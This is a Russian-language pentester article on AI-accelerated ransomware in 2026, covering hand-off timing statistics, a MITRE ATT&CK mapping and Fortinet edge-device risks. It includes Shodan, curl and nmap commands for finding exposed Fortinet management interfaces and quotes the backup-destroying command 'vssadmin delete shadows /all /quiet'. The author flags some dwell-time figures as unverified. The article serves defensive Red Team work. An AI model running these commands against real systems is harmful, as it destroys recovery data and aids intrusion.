Когда я впервые увидел цифру «22 секунды» в отчёте Mandiant M-Trends 2026, я перечитал абзац трижды. Не 22 минуты. Не 22 часа. Двадцать две секунды - медиана между первым артефактом IAB и первым артефактом вторичной группы в forensic timeline. В distribution-cluster модели - менее 30 секунд. Это не означает мгновенное начало hands-on-keyboard операций, и сам hand-off может быть невидим для SOC в реальном времени (передача credentials через внешний канал, например). Но практический вывод от этого не мягче: детектирование должно фокусироваться на IAB-индикаторах ДО hand-off, а не на попытке перехватить сам момент передачи. Традиционный SOC на ручном триаже рискует тупо не успеть отработать ранние индикаторы до перехода атаки в активную фазу.
Для нас, пентестеров, эта статистика - не абстрактная страшилка. Это новый benchmark: если ваши Red Team-сценарии всё ещё моделируют часовые dwell time между фазами, вы тестируете защиту от атак прошлого года. AI ransomware 2026 - другая скорость, другая автоматизация, другие точки входа. Разберём конкретные тактики, подкреплённые данными из M-Trends 2026, Arctic Wolf и Arete, смапим на MITRE ATT&CK и дадим практику по эмуляции и детектированию.
Kill chain компрессия ransomware: hand-off за секунды
M-Trends 2026 отчёт фиксирует структурный сдвиг в ransomware-среде: модель hand-off стала доминирующим паттерном. Prior compromise - когда initial access broker (IAB) передаёт уже готовый доступ ransomware-оператору - стал наиболее частым подтверждённым вектором начального заражения в расследованиях Mandiant по ransomware. Доля этого вектора выросла с 15% до 30% год к году. Удвоение за один год - это серьёзно.Конкретные цифры из отчёта:
- Медиана hand-off в модели «разделения труда»: 22 секунды между первым артефактом IAB и первым артефактом вторичной группы в forensic timeline (не окно реагирования SOC - hand-off может быть невидим в реальном времени)
- Distribution-cluster модель: менее 30 секунд
- Пример UNC1543 / UNC2165: hand-off занял около 70 минут, ещё ~45 минут до начала интерактивной активности оператора
Время обнаружения: ложная надежда на dwell time
По предварительным данным M-Trends 2026, глобальная медиана dwell time - порядка 14 дней, а для ransomware-специфичных инцидентов - существенно ниже. ( Конкретные цифры dwell time в этом абзаце требуют верификации по опубликованному M-Trends 2026 и не должны цитироваться как подтверждённые.)Согласно M-Trends 2026, внутреннее обнаружение улучшилось: 52% организаций детектировали вредоносную активность самостоятельно (против 43% ранее). Вроде бы прогресс. Но при 22-секундном hand-off и сокращающемся ransomware dwell time это означает одно: если IAB уже передал доступ, у защитников остаётся крайне узкое окно до начала шифрования.
Для пентестеров это переформулирует задачу: при моделировании атак в Red Team-операциях стоит отдельно замерять, за какое время SOC клиента может отработать «низкоприоритетный» алерт, который на самом деле - индикатор hand-off. Mandiant прямо пишет: «alerts traditionally considered 'lower priority' can very quickly become significant compromises». На одном проекте мы специально генерировали «шумный» PowerShell-алерт и засекали, через сколько SOC его подхватит. Спойлер: 47 минут. При 22-секундном hand-off - это вечность.
AI-ускоренные кибератаки: что реально меняет LLM в kill chain
MITRE ATT&CK недавно добавил технику
Ссылка скрыта от гостей
, Resource Development) - использование AI-инструментов для подготовки к атаке. Но что конкретно меняет AI в ransomware kill chain на практике?Согласно International AI Safety Report 2026 и данным Arctic Wolf, AI не создаёт принципиально новых тактик. Он ускоряет существующие. Arctic Wolf формулирует прямо: «Tasks that once took weeks - crafting phishing emails, running reconnaissance, deploying ransomware - can now unfold in minutes. But these attacks still exploit the same weaknesses: human mistakes, poor processes, and gaps in visibility.»
Разложу по фазам kill chain.
Reconnaissance и weaponization
LLM-assisted reconnaissance - то, что я вижу на практике чаще всего. GPT-подобные модели позволяют автоматизировать:- Парсинг и структурирование данных из LinkedIn, GitHub, публичных отчётов - построение target profile за минуты вместо часов
- Генерацию фишинговых сообщений, адаптированных под конкретную роль и организацию (T1566, Initial Access)
- Анализ публичных CVE-бюллетеней и автоматическую корреляцию с данными Shodan/Censys для поиска уязвимых экземпляров
Lateral movement и privilege escalation
Здесь влияние AI пока ограничено. Lateral movement требует контекстного понимания конкретной инфраструктуры, и сейчас автоматизированный ransomware полагается на классику: BloodHound для маппинга AD, Mimikatz для credential dumping (T1003.001, LSASS Memory), PsExec или WMI для перемещения. AI может ускорить анализ вывода BloodHound, но сам lateral movement остаётся ручным или скриптовым.По данным Morphisec, AI-enabled ransomware кампании уже могут «automate reconnaissance, accelerate lateral movement, adapt payloads dynamically, exploit zero-day vulnerabilities, target and corrupt backups». Лично я бы разделил «могут» и «делают массово». Утверждение об эксплуатации zero-day через AI не подтверждено публичными IR-кейсами на момент написания: AI-assisted fuzzing (Google Project Naptime/Big Sleep) демонстрирует потенциал обнаружения уязвимостей, но автономная эксплуатация zero-day в реальных ransomware-кампаниях пока не зафиксирована. Массовая автоматизация lateral movement через AI - тоже скорее прогноз, чем зафиксированный паттерн.
Payload adaptation и evasion
А вот здесь AI уже работает. Генеративные модели используются для полиморфизма payload'ов - перекомпиляции и обфускации шифровальщиков, чтобы обходить сигнатурное детектирование. В связке с Disable or Modify Tools (T1562.001, Defense Evasion) - отключение EDR через уязвимые драйверы (BYOVD) - получается эффективный обход, даже если конкретный AI-компонент не революционен сам по себе.Living off the land атаки и эксплуатация edge-устройств
Ransomware 2026 тактики всё активнее опираются на LotL-техники - использование легитимных инструментов инфраструктуры жертвы.
Ссылка скрыта от гостей
, Initial Access / Persistence / Privilege Escalation / Defense Evasion) - один из самых частых компонентов: атакующие не приносят свои инструменты, а используют украденные или созданные учётные данные.Цепочка Fortinet: три критических CVE
Все три CVE имеют вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - сетевой доступ, низкая сложность, не требуются привилегии и действия пользователя. Идеальные кандидаты для IAB-автоматизации.
По данным Arete, группа Qilin активно эксплуатирует Fortinet-устройства для начального доступа. В одном задокументированном инциденте атакующие создали учётку администратора FortiGate с неограниченными правилами файрвола и поддерживали доступ несколько месяцев - характерный паттерн IAB-активности. Затем извлекли и расшифровали LDAP-креденшалы для компрометации Active Directory.
Практическая проверка: enumeration Fortinet-устройств
Для пентестеров, моделирующих этот вектор, начальная проверка экспозиции:
Bash:
# Поиск открытых management-интерфейсов продуктов Fortinet через Shodan
# FortiGate/FortiOS:
shodan search 'http.title:"FortiGate" port:443' --fields ip_str,port,org,country_code
# FortiProxy - затронут CVE-2025-59718:
shodan search 'http.title:"FortiProxy" port:443' --fields ip_str,port,org,country_code
# FortiWeb (WAF) - затронут CVE-2025-59719:
shodan search 'http.title:"FortiWeb" port:443' --fields ip_str,port,org,country_code
# FortiAnalyzer/FortiManager - затронуты CVE-2026-24858:
shodan search 'http.title:"FortiAnalyzer" OR http.title:"FortiManager"' --fields ip_str,port,org,country_code
# Альтернатива по favicon hash: shodan search 'http.favicon.hash:-1462863498'
# Fingerprinting продуктов Fortinet без аутентификации
# Метод 1: определение продукта по странице логина (ищем характерные маркеры)
curl -sk https://<target>/login | grep -oiP 'fgt_lang|FortiOS|FortiWeb|fwb_lang|FortiAnalyzer|FortiManager|FortiProxy|fortinet'
# Метод 2: вытягиваем инфу из SSL-сертификата (CN часто содержит модель)
echo | openssl s_client -connect <target>:443 2>/dev/null | openssl x509 -noout -subject
# Примечание: точное определение версии без аутентификации часто невозможно
# Nmap скрипт для идентификации продуктов Fortinet
nmap -sV --script=http-title -p 443,8443,10443 <target_range>M-Trends 2026 отчёт: маппинг ransomware chain на MITRE ATT&CK
На основе данных M-Trends 2026, Arete и Arctic Wolf я собрал полную карту типичной AI-ускоренной ransomware-атаки 2026 года на MITRE ATT&CK:| Фаза | Техника ATT&CK | Описание в контексте 2026 | AI-ускорение |
|---|---|---|---|
| Resource Development | Artificial Intelligence (T1588.007) | Использование LLM для генерации фишинга, анализа целей, адаптации payload | Прямое |
| Initial Access | Valid Accounts (T1078) | Эксплуатация Fortinet CVE, использование украденных креденшалов от IAB | Косвенное (автоматизация сканирования) |
| Credential Access |
Ссылка скрыта от гостей
| Дамп LSASS для извлечения доменных креденшалов после начального доступа | Минимальное |
| Defense Evasion | Disable or Modify Tools (T1562.001) | BYOVD для отключения EDR, killing AV-процессов | Полиморфизм payload через AI |
| Defense Evasion | Clear Windows Event Logs (T1070.001) | Очистка логов для затруднения forensics | Автоматизация скриптами |
| Exfiltration | Exfiltration Over C2 Channel (T1041) | Вывод данных перед шифрованием для double extortion | Автоматический отбор данных |
| Impact | Data Encrypted for Impact (T1486) | Шифрование данных - финальная фаза | Адаптивные payload'ы |
| Impact |
Ссылка скрыта от гостей
) | Уничтожение shadow copies, таргетирование бэкапов | Автоматическое обнаружение бэкап-инфраструктуры |
Ключевое наблюдение: AI наиболее эффективен на ранних фазах (Resource Development, Initial Access) и на этапе evasion. Фазы Impact остаются классическими -
vssadmin delete shadows /all /quiet не требует AI для выполнения.Ransomware-as-a-service: эволюция экосистемы в цифрах
По данным TRM Labs, в 2024 году идентифицировано 93 новых варианта ransomware - рост на 94% по сравнению с 2023. Общий объём ransomware-платежей, по данным Chainalysis, снизился до ~$814 млн (с ~$1.1 млрд в 2023), а число жертв на leak-сайтах выросло на 44%. Больше атак, больше жертв, но меньше платежей на одну атаку. Зоопарк растёт, а средний чек падает.Данные Arete за март 2026 подтверждают фрагментацию: 21 уникальная ransomware-группа активна одновременно (против 15 в феврале). Среди новых - BravoX, NightSpire, Payouts King, Securotrop. Akira и Qilin остаются в лидерах, но их доля снизилась с ~50% до ~25% инцидентов.
Для пентестеров это означает: моделировать нужно не одну «типовую» ransomware-группу, а разнообразие TTP. В tabletop-упражнениях используйте сценарии с разными профилями атакующих - от высокопрофильных операторов типа Akira до низкоквалифицированных affiliate из «длинного хвоста». На одном проекте мы прогнали два сценария подряд: сначала «продвинутый оператор с BYOVD», потом «скрипт-кидди с украденным билдером LockBit». SOC клиента поймал первого и полностью пропустил второго - потому что второй не делал ничего «интересного» для правил корреляции.
Практический блок: эмуляция и детектирование AI-ускоренных ransomware тактик
Шаг 1: Эмуляция hand-off паттерна
Что это значит для вашего следующего пентеста
На основе M-Trends 2026 разбора и данных Arctic Wolf - конкретные изменения в методологии Red Team:Пересмотрите тайминги. Если ваш Red Team-сценарий моделирует 24-часовую операцию от initial access до impact - сократите до 2–4 часов. Для hand-off-специфичных тестов - до 30 минут. Реальные атакующие действуют быстрее.
Добавьте edge-device вектор. Три критических CVE в Fortinet-продуктах (CVE-2025-59718, CVE-2025-59719, CVE-2026-24858 - все CVSS 9.8) показывают, что периметровые устройства остаются главным initial access вектором. Включите проверку management-интерфейсов NGFW, VPN-концентраторов, WAF в scope каждого внешнего пентеста.
Тестируйте корреляцию, а не отдельные детекты. Проблема не в том, что SOC не видит отдельный алерт на PowerShell-загрузку. Проблема в том, что этот алерт не коррелируется с последующим lateral movement через 22 секунды. Проверяйте, видит ли SOC цепочку, а не отдельные звенья.
Моделируйте backup targeting. Включите в scope попытку доступа к бэкап-инфраструктуре из скомпрометированного сегмента. По данным Morphisec, AI-enabled ransomware целенаправленно обнаруживает и уничтожает бэкапы до шифрования основных данных.
Используйте AI в своих инструментах. Генеративный AI в арсенале пентестера - не читерство, а моделирование реальной угрозы. Если атакующие используют T1588.007 (Artificial Intelligence) - ваш Red Team должен делать то же самое, чтобы тест был релевантным.
Автоматизированный ransomware: прогноз против реальности
По данным Arctic Wolf, 70% организаций пережили минимум одну значительную кибератаку в 2024, при этом malware и BEC остаются наиболее распространёнными. Почти 20% руководителей ИБ заявили, что AI-инструменты принесли наименьшую ценность в их программах за прошлый год - из-за высокого уровня false positives и отсутствия контекста. То есть купили «AI-платформу», а она генерирует шум.Оговорка, без которой нечестно: автоматизированный ransomware с AI-компонентами - реальная и растущая угроза, но AI-defence - не серебряная пуля. Arctic Wolf формулирует точно: «AI is a powerful accelerant. But without strong fundamentals - tested incident plans, clear visibility, and experienced teams - it adds complexity, not clarity.»
Вывод для практиков: при составлении отчётов по результатам Red Team рекомендуйте клиентам не «купить AI-платформу», а закрыть фундаментальные дыры - сегментацию, мониторинг edge-устройств, корреляцию алертов, защиту бэкапов. AI-ускоренные атаки эксплуатируют старые слабости на новой скорости. Закройте слабости - и скорость перестанет быть преимуществом атакующего. Проверьте свой периметр командами из раздела про Fortinet. Если нашли открытый management-интерфейс FortiGate на 443 - у вас та же проблема, что и у тех, кого Qilin уже зашифровал.
Последнее редактирование:
